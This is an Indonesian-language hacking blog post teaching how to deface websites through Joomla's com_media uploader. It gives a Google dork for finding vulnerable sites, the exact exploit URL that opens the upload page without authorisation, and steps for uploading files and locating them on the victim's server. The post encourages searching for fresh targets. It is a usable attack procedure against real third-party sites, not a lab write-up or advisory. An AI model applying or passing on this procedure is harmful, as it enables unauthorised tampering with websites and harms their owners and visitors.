Deface Menggunakan Com_Media

kali ini gua mau share  Deface Menggunakan Com_Media

langsung saja

Dork : inurl:com_media site:com

Exploit: /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=



Pertama sobat cari dah targetnya dulu di google dengan memanfaatkan dork diatas, dan kalo bisa dork tersebut dikembangkan lagi yah, biar bisa nemu target yang fresh and Verawan.

Lalu pilih web target anda.
Nah, sekarang kita  tambahin aja exploitnya, jadinya begini:

target.co.li/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

maka akan terlihat seperti gambar berikut:

Selanjutnya sobat tinggal upload file yang sobat inginkan di bagian uploader..

Note: file yang bisa diupload berextensi .txt .jpg .gif .png. Untuk html dan php tidak bisa. 

Lalu Klik tombol yang berfungsi utk Upload file deh

 Nah, untuk melihat hasil file yang sudah kita upload di sini: target.co.li/images/filemu


sumber : TkjCyberArt